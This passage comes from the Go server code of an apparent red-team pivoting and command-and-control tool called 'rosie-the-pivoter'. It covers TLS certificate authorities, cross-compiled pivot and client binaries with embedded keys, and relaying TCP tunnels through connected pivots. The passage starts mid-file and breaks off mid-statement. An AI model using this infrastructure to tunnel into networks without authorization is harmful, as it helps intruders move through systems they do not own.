213 | if _, err := os.Stat(storageDir); os.IsNotExist(err) { 214 | os.MkdirAll(storageDir, os.ModePerm) 215 | } 216 | 217 | certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType)) 218 | keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType)) 219 | 220 | err := ioutil.WriteFile(certFilePath, cert, 0600) 221 | if err != nil { 222 | log.Fatalf("Failed write certificate data to: %s", certFilePath) 223 | } 224 | 225 | err = ioutil.WriteFile(keyFilePath, key, 0600) 226 | if err != nil { 227 | log.Fatalf("Failed write certificate data to: %s", keyFilePath) 228 | } 229 | } 230 | 231 | // -------------------------------- 232 | // Generic Certificates Functions 233 | // -------------------------------- 234 | 235 | // GenerateCertificate - Generate a TLS certificate with the given parameters 236 | // We choose some reasonable defaults like Curve, Key Size, ValidFor, etc. 237 | // Returns two strings `cert` and `key` (PEM Encoded). 238 | func GenerateCertificate(host string, caType string, isCA bool, isClient bool) ([]byte, []byte) { 239 | 240 | log.Printf("Generating new TLS certificate ...") 241 | 242 | var privateKey interface{} 243 | var err error 244 | 245 | // Generate private key 246 | privateKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader) 247 | if err != nil { 248 | log.Fatalf("Failed to generate private key: %s", err) 249 | } 250 | 251 | // Valid times 252 | notBefore := time.Now() 253 | notAfter := notBefore.Add(validFor) 254 | log.Printf("Valid from %v to %v", notBefore, notAfter) 255 | 256 | // Serial number 257 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) 258 | serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit) 259 | log.Printf("Serial Number: %d", serialNumber) 260 | 261 | // [!] Extended Key Usage (EKU) 262 | // ------------------------------------------------------------------------------- 263 | // This is actually pretty important, it controls what the key can be used to do. 264 | // We need to be careful that client certificates can only be used to authenticate 265 | // clients, since everything is signed with the same CA an attacker who recovered 266 | // a pivot binary could potentially recover the embedded cert/key and use that to 267 | // mitm other connections, which would validate since we only check the signing 268 | // authority. To prevent this only server keys can be used to authenticate servers 269 | // and only client keys can be used to authenticate clients. 270 | var extKeyUsage []x509.ExtKeyUsage 271 | 272 | if isCA { 273 | log.Printf("Authority certificate") 274 | extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageAny} 275 | } else if isClient { 276 | log.Printf("Client authentication certificate") 277 | extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} 278 | } else { 279 | log.Printf("Server authentication certificate") 280 | extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} 281 | } 282 | log.Printf("ExtKeyUsage = %v", extKeyUsage) 283 | 284 | // Certificate template 285 | template := x509.Certificate{ 286 | SerialNumber: serialNumber, 287 | Subject: pkix.Name{ 288 | Organization: []string{"rosie-the-pivoter"}, 289 | }, 290 | NotBefore: notBefore, 291 | NotAfter: notAfter, 292 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 293 | ExtKeyUsage: extKeyUsage, 294 | BasicConstraintsValid: isCA, 295 | } 296 | 297 | if !isClient { 298 | // Host or IP address 299 | if ip := net.ParseIP(host); ip != nil { 300 | log.Printf("Certificate authenticates IP address: %v", ip) 301 | template.IPAddresses = append(template.IPAddresses, ip) 302 | } else { 303 | log.Printf("Certificate authenticates host: %v", host) 304 | template.DNSNames = append(template.DNSNames, host) 305 | } 306 | } 307 | 308 | // Sign certificate or self-sign if CA 309 | var derBytes []byte 310 | if isCA { 311 | log.Printf("Ceritificate is an AUTHORITY") 312 | template.IsCA = true 313 | template.KeyUsage |= x509.KeyUsageCertSign 314 | derBytes, err = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey) 315 | } else { 316 | // We use seperate authorities for clients, and pivots otherwise an attacker could take a cert/key pair 317 | // from a pivot and use it to authenticate against the client socket. 318 | caCert, caKey, err := GetCertificateAuthority(caType) // Sign the new ceritificate with our CA 319 | if err != nil { 320 | log.Fatalf("Invalid ca type (%s): %v", caType, err) 321 | } 322 | derBytes, err = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey) 323 | } 324 | if err != nil { 325 | log.Fatalf("Failed to create certificate: %s", err) 326 | } 327 | 328 | // Encode certificate and key 329 | certOut := bytes.NewBuffer([]byte{}) 330 | pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) 331 | 332 | keyOut := bytes.NewBuffer([]byte{}) 333 | pem.Encode(keyOut, pemBlockForKey(privateKey)) 334 | 335 | return certOut.Bytes(), keyOut.Bytes() 336 | } 337 | 338 | func publicKey(priv interface{}) interface{} { 339 | switch k := priv.(type) { 340 | case *rsa.PrivateKey: 341 | return &k.PublicKey 342 | case *ecdsa.PrivateKey: 343 | return &k.PublicKey 344 | default: 345 | return nil 346 | } 347 | } 348 | 349 | func pemBlockForKey(priv interface{}) *pem.Block { 350 | switch key := priv.(type) { 351 | case *ecdsa.PrivateKey: 352 | data, err := x509.MarshalECPrivateKey(key) 353 | if err != nil { 354 | log.Fatalf("Unable to marshal ECDSA private key: %v", err) 355 | } 356 | return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data} 357 | default: 358 | return nil 359 | } 360 | } 361 | -------------------------------------------------------------------------------- /server/codenames.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "log" 7 | "math/rand" 8 | "os" 9 | "path" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | // readlines - Read lines of a text file into a slice 15 | func readlines(path string) []string { 16 | file, err := os.Open(path) 17 | if err != nil { 18 | log.Fatal(err) 19 | } 20 | defer file.Close() 21 | 22 | words := make([]string, 0) 23 | scanner := bufio.NewScanner(file) 24 | for scanner.Scan() { 25 | words = append(words, scanner.Text()) 26 | } 27 | 28 | if err := scanner.Err(); err != nil { 29 | log.Fatal(err) 30 | } 31 | 32 | return words 33 | } 34 | 35 | // getRandomAdjective - Get a random noun, not cryptographically secure 36 | func getRandomAdjective() string { 37 | rand.Seed(time.Now().UnixNano()) 38 | rosieDir := GetRosieDir() 39 | words := readlines(path.Join(rosieDir, "adjectives.txt")) 40 | word := words[rand.Intn(len(words)-1)] 41 | return strings.TrimSpace(word) 42 | } 43 | 44 | // getRandomNoun - Get a random noun, not cryptographically secure 45 | func getRandomNoun() string { 46 | rand.Seed(time.Now().Unix()) 47 | rosieDir := GetRosieDir() 48 | words := readlines(path.Join(rosieDir, "nouns.txt")) 49 | word := words[rand.Intn(len(words)-1)] 50 | return strings.TrimSpace(word) 51 | } 52 | 53 | // GetCodename - Returns a randomly generated 'codename' 54 | func GetCodename() string { 55 | adjective := strings.ToUpper(getRandomAdjective()) 56 | noun := strings.ToUpper(getRandomNoun()) 57 | return fmt.Sprintf("%s_%s", adjective, noun) 58 | } 59 | -------------------------------------------------------------------------------- /server/gen-client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | "path" 8 | "text/template" 9 | 10 | "github.com/gobuffalo/packr" 11 | ) 12 | 13 | const ( 14 | binDirName = "bin" 15 | ) 16 | 17 | // ClientConfig - Parameters when generating a pivot 18 | type ClientConfig struct { 19 | Name string 20 | CACert string 21 | Cert string 22 | Key string 23 | DefaultServer string 24 | DefaultServerLport uint16 25 | } 26 | 27 | // GetBinDir - Get the binary directory 28 | func GetBinDir() string { 29 | rosieDir := GetRosieDir() 30 | binDir := path.Join(rosieDir, binDirName) 31 | if _, err := os.Stat(binDir); os.IsNotExist(err) { 32 | log.Printf("Creating rosie bin directory: %s", binDir) 33 | err = os.MkdirAll(binDir, os.ModePerm) 34 | if err != nil { 35 | log.Fatal(err) 36 | } 37 | } 38 | return binDir 39 | } 40 | 41 | // GenerateClientBinary - Generate and compile a new client binary 42 | func GenerateClientBinary(goos string, goarch string) (string, error) { 43 | 44 | goos = path.Base(goos) 45 | goarch = path.Base(goarch) 46 | target := fmt.Sprintf("%s/%s", goos, goarch) 47 | if _, ok := validCompilerTargets[target]; !ok { 48 | return "", fmt.Errorf("Invalid compiler target: %s", target) 49 | } 50 | 51 | config := ClientConfig{ 52 | DefaultServer: "localhost", 53 | DefaultServerLport: 8443, 54 | } 55 | 56 | config.Name = GetCodename() 57 | log.Printf("Generating new client binary '%s'", config.Name) 58 | 59 | // Cert PEM encoded certificates 60 | caCert, _, _ := GetCertificateAuthorityPEM(ClientsDir) 61 | clientCert, clientKey := GenerateClientCertificate(config.Name, true) 62 | config.CACert = string(caCert) 63 | config.Cert = string(clientCert) 64 | config.Key = string(clientKey) 65 | 66 | // Render the Go source code 67 | clientBox := packr.NewBox("../client") 68 | clientCode, _ := clientBox.MustString("client.go") 69 | clientCodeTmpl, _ := template.New("pivot").Parse(clientCode) 70 | 71 | // Render code to file 72 | binDir := GetBinDir() 73 | workingDir := path.Join(binDir, ClientsDir, goos, goarch, config.Name) 74 | os.MkdirAll(workingDir, os.ModePerm) 75 | clientCodePath := path.Join(workingDir, "client.go") 76 | log.Printf("Rendering client go code to: %s", clientCodePath) 77 | 78 | fClientCode, _ := os.Create(clientCodePath) 79 | err := clientCodeTmpl.Execute(fClientCode, config) 80 | if err != nil { 81 | log.Printf("Failed to render go code: %v", err) 82 | return "", err 83 | } 84 | 85 | // Compile go code 86 | goConfig := GoConfig{ 87 | GOOS: goos, 88 | GOARCH: goarch, 89 | GOROOT: GetGoRootDir(), 90 | GOPATH: GetGoPathDir(), 91 | } 92 | 93 | dst := path.Join(workingDir, config.Name) 94 | tags := []string{"netgo"} 95 | ldflags := []string{"-s -w"} 96 | _, err = GoBuild(goConfig, workingDir, dst, tags, ldflags) 97 | return dst, err 98 | } 99 | -------------------------------------------------------------------------------- /server/gen-pivot.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | "path" 8 | "text/template" 9 | 10 | "github.com/gobuffalo/packr" 11 | ) 12 | 13 | // PivotConfig - Parameters when generating a pivot 14 | type PivotConfig struct { 15 | Name string 16 | CACert string 17 | Cert string 18 | Key string 19 | DefaultServer string 20 | DefaultServerLport uint16 21 | } 22 | 23 | // GeneratePivotBinary - Generates a pivot binary 24 | func GeneratePivotBinary(goos string, goarch string) (string, error) { 25 | 26 | goos = path.Base(goos) 27 | goarch = path.Base(goarch) 28 | target := fmt.Sprintf("%s/%s", goos, goarch) 29 | if _, ok := validCompilerTargets[target]; !ok { 30 | return "", fmt.Errorf("Invalid compiler target: %s", target) 31 | } 32 | 33 | config := PivotConfig{ 34 | DefaultServer: "localhost", 35 | DefaultServerLport: 8444, 36 | } 37 | 38 | config.Name = GetCodename() 39 | log.Printf("Generating new pivot binary '%s'", config.Name) 40 | 41 | // Cert PEM encoded certificates 42 | caCert, _, _ := GetCertificateAuthorityPEM(PivotsDir) 43 | pivotCert, pivotKey := GeneratePivotCertificate(config.Name, true) 44 | config.CACert = string(caCert) 45 | config.Cert = string(pivotCert) 46 | config.Key = string(pivotKey) 47 | 48 | // Load code template 49 | pivotBox := packr.NewBox("../pivot") 50 | pivotCode, _ := pivotBox.MustString("pivot.go") 51 | pivotCodeTmpl, _ := template.New("pivot").Parse(pivotCode) 52 | 53 | binDir := GetBinDir() 54 | workingDir := path.Join(binDir, PivotsDir, goos, goarch, config.Name) 55 | os.MkdirAll(workingDir, os.ModePerm) 56 | pivotCodePath := path.Join(workingDir, "pivot.go") 57 | fPivot, _ := os.Create(pivotCodePath) 58 | 59 | log.Printf("Rendering pivot code to: %s", pivotCodePath) 60 | err := pivotCodeTmpl.Execute(fPivot, config) 61 | if err != nil { 62 | log.Printf("Failed to render go code: %v", err) 63 | return "", err 64 | } 65 | 66 | // Compile go code 67 | goConfig := GoConfig{ 68 | GOOS: goos, 69 | GOARCH: goarch, 70 | GOROOT: GetGoRootDir(), 71 | GOPATH: GetGoPathDir(), 72 | } 73 | 74 | dst := path.Join(workingDir, config.Name) 75 | tags := []string{"netgo"} 76 | ldflags := []string{"-s -w"} 77 | _, err = GoBuild(goConfig, workingDir, dst, tags, ldflags) 78 | return dst, err 79 | } 80 | -------------------------------------------------------------------------------- /server/go.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "log" 7 | "os" 8 | "os/exec" 9 | "path" 10 | ) 11 | 12 | const ( 13 | goDirName = "go" 14 | goPathDirName = "gopath" 15 | ) 16 | 17 | var ( 18 | validCompilerTargets = map[string]bool{ 19 | "darwin/386": true, 20 | "darwin/amd64": true, 21 | "dragonfly/amd64": true, 22 | "freebsd/386": true, 23 | "freebsd/amd64": true, 24 | "freebsd/arm": true, 25 | "linux/386": true, 26 | "linux/amd64": true, 27 | "linux/arm": true, 28 | "linux/arm64": true, 29 | "linux/ppc64": true, 30 | "linux/ppc64le": true, 31 | "linux/mips": true, 32 | "linux/mipsle": true, 33 | "linux/mips64": true, 34 | "linux/mips64le": true, 35 | "linux/s390x": true, 36 | "netbsd/386": true, 37 | "netbsd/amd64": true, 38 | "netbsd/arm": true, 39 | "openbsd/386": true, 40 | "openbsd/amd64": true, 41 | "openbsd/arm": true, 42 | "plan9/386": true, 43 | "plan9/amd64": true, 44 | "plan9/arm": true, 45 | "solaris/amd64": true, 46 | "windows/386": true, 47 | "windows/amd64": true, 48 | } 49 | ) 50 | 51 | // GoConfig - Env variables for Go compiler 52 | type GoConfig struct { 53 | GOOS string 54 | GOARCH string 55 | GOROOT string 56 | GOPATH string 57 | } 58 | 59 | // GetGoRootDir - Get the path to GOROOT 60 | func GetGoRootDir() string { 61 | roseDir := GetRosieDir() 62 | return path.Join(roseDir, goDirName) 63 | } 64 | 65 | // GetGoPathDir - Get the path to GOPATH 66 | func GetGoPathDir() string { 67 | roseDir := GetRosieDir() 68 | return path.Join(roseDir, goPathDirName) 69 | } 70 | 71 | // GoCmd - Execute a go command 72 | func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) { 73 | target := fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH) 74 | if _, ok := validCompilerTargets[target]; !ok { 75 | return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target)) 76 | } 77 | goBinPath := path.Join(config.GOROOT, "bin", "go") 78 | cmd := exec.Command(goBinPath, command...) 79 | cmd.Dir = cwd 80 | cmd.Env = []string{ 81 | "CGO_ENABLED=0", 82 | fmt.Sprintf("GOOS=%s", config.GOOS), 83 | fmt.Sprintf("GOARCH=%s", config.GOARCH), 84 | fmt.Sprintf("GOROOT=%s", config.GOROOT), 85 | fmt.Sprintf("GOPATH=%s", config.GOPATH), 86 | fmt.Sprintf("PATH=%s/bin", config.GOROOT), 87 | } 88 | var stdout bytes.Buffer 89 | var stderr bytes.Buffer 90 | cmd.Stdout = &stdout 91 | cmd.Stderr = &stderr 92 | 93 | log.Printf("go cmd: '%v'", cmd) 94 | err := cmd.Run() 95 | if err != nil { 96 | log.Printf("--- stdout ---\n%s\n", stdout.String()) 97 | log.Printf("--- stderr ---\n%s\n", stderr.String()) 98 | log.Print(err) 99 | } 100 | 101 | return stdout.Bytes(), err 102 | } 103 | 104 | // GoBuild - Execute a go build command, returns stdout/error 105 | func GoBuild(config GoConfig, src string, dest string, tags []string, ldflags []string) ([]byte, error) { 106 | var goCommand = []string{"build"} 107 | if 0 < len(tags) { 108 | goCommand = append(goCommand, "-tags") 109 | goCommand = append(goCommand, tags...) 110 | } 111 | if 0 < len(ldflags) { 112 | goCommand = append(goCommand, "-ldflags") 113 | goCommand = append(goCommand, ldflags...) 114 | } 115 | goCommand = append(goCommand, []string{"-o", dest, "."}...) 116 | return GoCmd(config, src, goCommand) 117 | } 118 | 119 | // GoVersion - Execute a go version command, returns stdout/error 120 | func GoVersion(config GoConfig) ([]byte, error) { 121 | var goCommand = []string{"version"} 122 | wd, _ := os.Getwd() 123 | return GoCmd(config, wd, goCommand) 124 | } 125 | -------------------------------------------------------------------------------- /server/handlers.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/sha256" 6 | "fmt" 7 | "io/ioutil" 8 | "log" 9 | "sync" 10 | 11 | pb "rosie/protobuf" 12 | 13 | "github.com/golang/protobuf/proto" 14 | ) 15 | 16 | const ( 17 | // RandomIDSize - Size of the TunnelID in bytes 18 | RandomIDSize = 16 19 | 20 | // --------------- 21 | // Pivot Messages 22 | // --------------- 23 | 24 | // PivotInitMsg - Sends pivot metadata to server 25 | PivotInitMsg = "pivot-init" 26 | // DataMsg - Connection data 27 | DataMsg = "d" 28 | 29 | // --------------- 30 | // Client Messages 31 | // --------------- 32 | 33 | // TCPTunnelMsg - Holds data related to setting up a TCP tunnel 34 | TCPTunnelMsg = "tcp-tunnel" 35 | // ListPivotsMsg - List connected pivots 36 | ListPivotsMsg = "list-pivots" 37 | // GenPivotMsg - Generates a pivot binary 38 | GenPivotMsg = "generate-pivot" 39 | // GenClientMsg - Generates a client binary 40 | GenClientMsg = "generate-client" 41 | // ExeFileMsg - Serialized executable file (client/pivot) 42 | ExeFileMsg = "exe-file" 43 | ) 44 | 45 | // TunnelConnection - Maps clients to pivots 46 | type TunnelConnection struct { 47 | ID string 48 | Client c2Connection 49 | Pivot c2Connection 50 | } 51 | 52 | var ( 53 | pivotConnections = make(map[string]c2Connection) 54 | pivotConnectionsMutex = &sync.RWMutex{} 55 | 56 | tunnels = make(map[string]TunnelConnection) 57 | tunnelsMutex = &sync.RWMutex{} 58 | 59 | pivotMessageHandlers = map[string]interface{}{ 60 | PivotInitMsg: pivotInitHandler, 61 | DataMsg: pivotDataHandler, 62 | } 63 | 64 | clientMessageHandlers = map[string]interface{}{ 65 | DataMsg: clientDataHandler, 66 | TCPTunnelMsg: tcpTunnelHandler, 67 | ListPivotsMsg: listPivotsHandler, 68 | GenPivotMsg: generatePivotHandler, 69 | GenClientMsg: generateClientHandler, 70 | } 71 | ) 72 | 73 | // Send a message to channel wrapped in an Envelope 74 | func sendMessage(sendTo chan<- pb.Envelope, msgType string, msg []byte) { 75 | envelope := pb.Envelope{ 76 | Type: msgType, 77 | Data: msg, 78 | } 79 | sendTo <- envelope 80 | } 81 | 82 | // --------------- 83 | // Pivot Handlers 84 | // --------------- 85 | func pivotInitHandler(conn c2Connection, msg []byte) { 86 | pivotInit := &pb.PivotInit{} 87 | err := proto.Unmarshal(msg, pivotInit) 88 | if err != nil { 89 | log.Printf("unmarshaling init-pivot error: %v", err) 90 | } 91 | pivotConnections[pivotInit.Name] = conn 92 | } 93 | 94 | func pivotDataHandler(conn c2Connection, msg []byte) { 95 | data := &pb.Data{} 96 | proto.Unmarshal(msg, data) 97 | tunnelsMutex.Lock() 98 | tun, ok := tunnels[data.TunnelID] 99 | if data.EOF { 100 | delete(tunnels, data.TunnelID) 101 | } 102 | tunnelsMutex.Unlock() 103 | if ok { 104 | go sendMessage(tun.Client.Send, DataMsg, msg) 105 | } else { 106 | log.Printf("Tunnel (%s) no longer exists", data.TunnelID) 107 | } 108 | } 109 | 110 | // ---------------- 111 | // Client Handlers 112 | // ---------------- 113 | func clientDataHandler(conn c2Connection, msg []byte) { 114 | data := &pb.Data{} 115 | proto.Unmarshal(msg, data) 116 | tunnelsMutex.Lock() 117 | tun, ok := tunnels[data.TunnelID] 118 | if data.EOF { 119 | delete(tunnels, data.TunnelID) 120 | } 121 | tunnelsMutex.Unlock() 122 | if ok { 123 | go sendMessage(tun.Pivot.Send, DataMsg, msg) 124 | } else { 125 | log.Printf("Tunnel ID '%s' does not exist", data.TunnelID) 126 | } 127 | } 128 | 129 | func tcpTunnelHandler(conn c2Connection, msg []byte) { 130 | 131 | tunInit := &pb.TCPTunnelInit{} 132 | err := proto.Unmarshal(msg, tunInit) 133 | if err != nil { 134 | log.Printf("unmarshaling tunnel error: %v", err) 135 | return 136 | } 137 | log.Printf("Tunnel %s (%s) -> %s", tunInit.PivotName, tunInit.ID, tunInit.RemoteAddress) 138 | pivotConnectionsMutex.RLock() 139 | pivotC2, ok := pivotConnections[tunInit.PivotName] 140 | pivotConnectionsMutex.RUnlock() 141 | if ok { 142 | log.Printf("Connection to pivot is active") 143 | tunnelsMutex.Lock() 144 | tunnels[tunInit.ID] = TunnelConnection{ 145 | ID: tunInit.ID, 146 | Client: conn, 147 | Pivot: pivotC2, 148 | } 149 | tunnelsMutex.Unlock() 150 | sendMessage(pivotC2.Send, TCPTunnelMsg, msg) 151 | } else { 152 | log.Printf("No connection to pivot: %s", tunInit.PivotName) 153 | data, _ := proto.Marshal(&pb.Data{ 154 | TunnelID: tunInit.ID, 155 | EOF: true, 156 | Errors: "Invalid pivot name", 157 | }) 158 | sendMessage(conn.Send, TCPTunnelMsg, data) 159 | } 160 | } 161 | 162 | func listPivotsHandler(conn c2Connection, _ []byte) { 163 | log.Printf("List pivots handler invoked") 164 | pivots := &pb.Pivots{} 165 | for name := range pivotConnections { 166 | pivot := &pb.Pivot{ 167 | Name: name, 168 | } 169 | pivots.List = append(pivots.List, pivot) 170 | } 171 | data, err := proto.Marshal(pivots) 172 | if err != nil { 173 | log.Printf("Failed to marshal pivots: %s", err) 174 | } 175 | sendMessage(conn.Send, ListPivotsMsg, data) 176 | } 177 | 178 | func generatePivotHandler(conn c2Connection, msg []byte) { 179 | pivotReq := &pb.GeneratePivotRequest{} 180 | err := proto.Unmarshal(msg, pivotReq) 181 | if err != nil { 182 | log.Printf("unmarshaling generate-pivot error: %v", err) 183 | } 184 | 185 | pivotExe := &pb.ExeFile{} 186 | pivotExe.Format = fmt.Sprintf("%s/%s", pivotReq.OperatingSystem, pivotReq.Arch) 187 | exePath, err := GeneratePivotBinary(pivotReq.OperatingSystem, pivotReq.Arch) 188 | if err != nil { 189 | log.Printf("Failed to generate requested pivot binary") 190 | log.Printf("%s", err) 191 | pivotExe.Data = nil 192 | pivotExe.Errors = fmt.Sprintf("%s", err) 193 | } else { 194 | exe, _ := ioutil.ReadFile(exePath) 195 | pivotExe.Data = exe 196 | pivotExe.Errors = "" 197 | } 198 | data, err := proto.Marshal(pivotExe) 199 | if err != nil { 200 | log.Printf("Failed to marshal pivot-exe: %s", err) 201 | } 202 | go sendMessage(conn.Send, ExeFileMsg, data) 203 | } 204 | 205 | func generateClientHandler(conn c2Connection, msg []byte) { 206 | clientReq := &pb.GenerateClientRequest{} 207 | err := proto.Unmarshal(msg, clientReq) 208 | if err != nil { 209 | log.Printf("unmarshaling generate-client error: %v", err) 210 | } 211 | 212 | clientExe := &pb.ExeFile{} 213 | clientExe.Format = fmt.Sprintf("%s/%s", clientReq.OperatingSystem, clientReq.Arch) 214 | exePath, err := GenerateClientBinary(clientReq.OperatingSystem, clientReq.Arch) 215 | if err != nil { 216 | log.Printf("Failed to generate requested client binary") 217 | log.Printf("%s", err) 218 | clientExe.Data = nil 219 | clientExe.Errors = fmt.Sprintf("%s", err) 220 | } else { 221 | exe, _ := ioutil.ReadFile(exePath) 222 | clientExe.Data = exe 223 | clientExe.Errors = "" 224 | } 225 | data, err := proto.Marshal(clientExe) 226 | if err != nil { 227 | log.Printf("Failed to marshal client-exe: %s", err) 228 | } 229 | go sendMessage(conn.Send, ExeFileMsg, data) 230 | } 231 | 232 | // -------- 233 | // Helpers 234 | // -------- 235 | 236 | // RandomID - Generate random ID of RandomIDSize bytes 237 | func RandomID() string { 238 | randBuf := make([]byte, 64) // 64 bytes of randomness 239 | rand.Read(randBuf) 240 | digest := sha256.Sum256(randBuf) 241 | return fmt.Sprintf("%x", digest[:RandomIDSize]) 242 | } 243 | -------------------------------------------------------------------------------- /server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "crypto/x509" 7 | "encoding/binary" 8 | "flag" 9 | "fmt" 10 | "log" 11 | "net" 12 | "os" 13 | "os/user" 14 | "path" 15 | "runtime" 16 | "time" 17 | 18 | "github.com/golang/protobuf/proto" 19 | 20 | pb "rosie/protobuf" 21 | ) 22 | 23 | const ( 24 | clientBinFileName = "rosie" // TODO: Dynamically add .exe for Windows 25 | logFileName = "rosie.log" 26 | timeout = 10 * time.Second 27 | readBufSize = 1024 28 | ) 29 | 30 | var ( 31 | genClient *bool 32 | genClientOutput *string 33 | 34 | clientServer *string 35 | clientLport *int 36 | 37 | pivotServer *string 38 | pivotLport *int 39 | ) 40 | 41 | type c2Connection struct { 42 | Send chan pb.Envelope 43 | Recv chan pb.Envelope 44 | } 45 | 46 | func main() { 47 | 48 | clientServer = flag.String("client-iface", "", "client bind server address") 49 | clientLport = flag.Int("client-lport", 8443, "client bind listen port") 50 | 51 | pivotServer = flag.String("pivot-iface", "", "pivot bind server address") 52 | pivotLport = flag.Int("pivot-lport", 8444, "pivot bind listen port") 53 | 54 | genClient = flag.Bool("generate-client", false, "generate a new client binary") 55 | genClientOutput = flag.String("client-outfile", "", "output file (use with -generate-client)") 56 | flag.Parse() 57 | 58 | // Setup logging 59 | log.SetFlags(log.LstdFlags | log.Lshortfile) 60 | rosieDir := GetRosieDir() 61 | f, err := os.OpenFile(path.Join(rosieDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) 62 | defer f.Close() 63 | if err != nil { 64 | log.Fatalf("Error opening file: %v", err) 65 | } 66 | log.SetOutput(f) 67 | 68 | if _, err := os.Stat(path.Join(rosieDir, goDirName)); os.IsNotExist(err) { 69 | fmt.Println(Info + "First time setup, unpacking assets please wait ... ") 70 | SetupAssets() 71 | *genClient = true 72 | } 73 | 74 | if *genClient { 75 | generateNewClinetBinary(*genClientOutput) 76 | } 77 | 78 | // Start server listeners 79 | fmt.Println(Info + "Starting listeners ...") 80 | go startClientListener(*clientServer, uint16(*clientLport)) 81 | startPivotListener(*pivotServer, uint16(*pivotLport)) 82 | } 83 | 84 | func generateNewClinetBinary(output string) { 85 | exePath, err := GenerateClientBinary(runtime.GOOS, runtime.GOARCH) 86 | if err != nil { 87 | log.Printf(Warn+"Failed to generate client binary: %v", err) 88 | } 89 | cwd, _ := os.Getwd() 90 | var outfile string 91 | if output == "" { 92 | outfile = path.Join(cwd, clientBinFileName) 93 | } 94 | log.Printf("Copy file %s -> %s", exePath, outfile) 95 | copyFileContents(exePath, outfile) 96 | os.Chmod(outfile, 0755) 97 | fmt.Printf(Info+"Client binary written to: %s\n", outfile) 98 | } 99 | 100 | func startPivotListener(bindIface string, port uint16) { 101 | log.Printf("Starting pivot listener on %s:%d", bindIface, port) 102 | 103 | tlsConfig := getServerTLSConfig(PivotsDir, bindIface) 104 | ln, err := tls.Listen("tcp", fmt.Sprintf("%s:%d", bindIface, port), tlsConfig) 105 | if err != nil { 106 | log.Println(err) 107 | return 108 | } 109 | defer ln.Close() 110 | 111 | for { 112 | conn, err := ln.Accept() 113 | if err != nil { 114 | log.Println(err) 115 | continue 116 | } 117 | go handlePivotConnection(conn) 118 | } 119 | } 120 | 121 | // -------------------- 122 | // Connection Handlers 123 | // -------------------- 124 | 125 | func handlePivotConnection(connection net.Conn) { 126 | defer connection.Close() 127 | log.Printf("Pivot connection from %s", connection.RemoteAddr()) 128 | pivotConn := c2Connection{ 129 | Send: make(chan pb.Envelope), 130 | Recv: make(chan pb.Envelope), 131 | } 132 | 133 | // Convert reads from socket into channel messages 134 | go func() { 135 | defer func() { 136 | close(pivotConn.Recv) 137 | close(pivotConn.Send) 138 | }() 139 | for { 140 | envelope, err := socketReadMessage(connection) 141 | if err != nil { 142 | log.Printf("Read message error: %s", err) 143 | return 144 | } 145 | pivotConn.Recv <- envelope 146 | } 147 | }() 148 | 149 | // Convert channel back to socket writes 150 | go func() { 151 | for envelope := range pivotConn.Send { 152 | err := socketWriteMessage(connection, envelope) 153 | if err != nil { 154 | return 155 | } 156 | } 157 | }() 158 | 159 | // Distribute messages 160 | for envelope := range pivotConn.Recv { 161 | log.Printf("Message type: %s", envelope.Type) 162 | 163 | handler, ok := pivotMessageHandlers[envelope.Type] 164 | if ok { 165 | // Calls the handler based on msgType 166 | go handler.(func(c2Connection, []byte))(pivotConn, envelope.Data) 167 | } else { 168 | log.Printf("No message handler for message type: %s", envelope.Type) 169 | } 170 | } 171 | } 172 | 173 | // startClientListener - Creates the client listener port 174 | func startClientListener(bindIface string, port uint16) { 175 | 176 | log.Printf("Starting client listener on %s:%d", bindIface, port) 177 | 178 | tlsConfig := getServerTLSConfig(ClientsDir, bindIface) 179 | ln, err := tls.Listen("tcp", fmt.Sprintf("%s:%d", bindIface, port), tlsConfig) 180 | if err != nil { 181 | log.Println(err) 182 | return 183 | } 184 | defer ln.Close() 185 | 186 | for { 187 | conn, err := ln.Accept() 188 | if err != nil { 189 | log.Println(err) 190 | continue 191 | } 192 | go handleClientConnection(conn) 193 | } 194 | 195 | } 196 | 197 | // handleClientConnection - Go routine for each TCP connection 198 | func handleClientConnection(connection net.Conn) { 199 | defer connection.Close() 200 | 201 | clientConn := c2Connection{ 202 | Send: make(chan pb.Envelope), 203 | Recv: make(chan pb.Envelope), 204 | } 205 | 206 | // Convert reads from socket into channel messages 207 | go func() { 208 | defer func() { 209 | close(clientConn.Recv) 210 | close(clientConn.Send) 211 | }() 212 | for { 213 | envelope, err := socketReadMessage(connection) 214 | if err != nil { 215 | log.Printf("Read message error: %s", err) 216 | return 217 | } 218 | clientConn.Recv <- envelope 219 | } 220 | }() 221 | 222 | // Convert channel back to socket writes 223 | go func() { 224 | for envelope := range clientConn.Send { 225 | err := socketWriteMessage(connection, envelope) 226 | if err != nil { 227 | return 228 | } 229 | } 230 | }() 231 | 232 | // Distribute messages 233 | for envelope := range clientConn.Recv { 234 | log.Printf("Message type: %s", envelope.Type) 235 | handler := clientMessageHandlers[envelope.Type] 236 | go 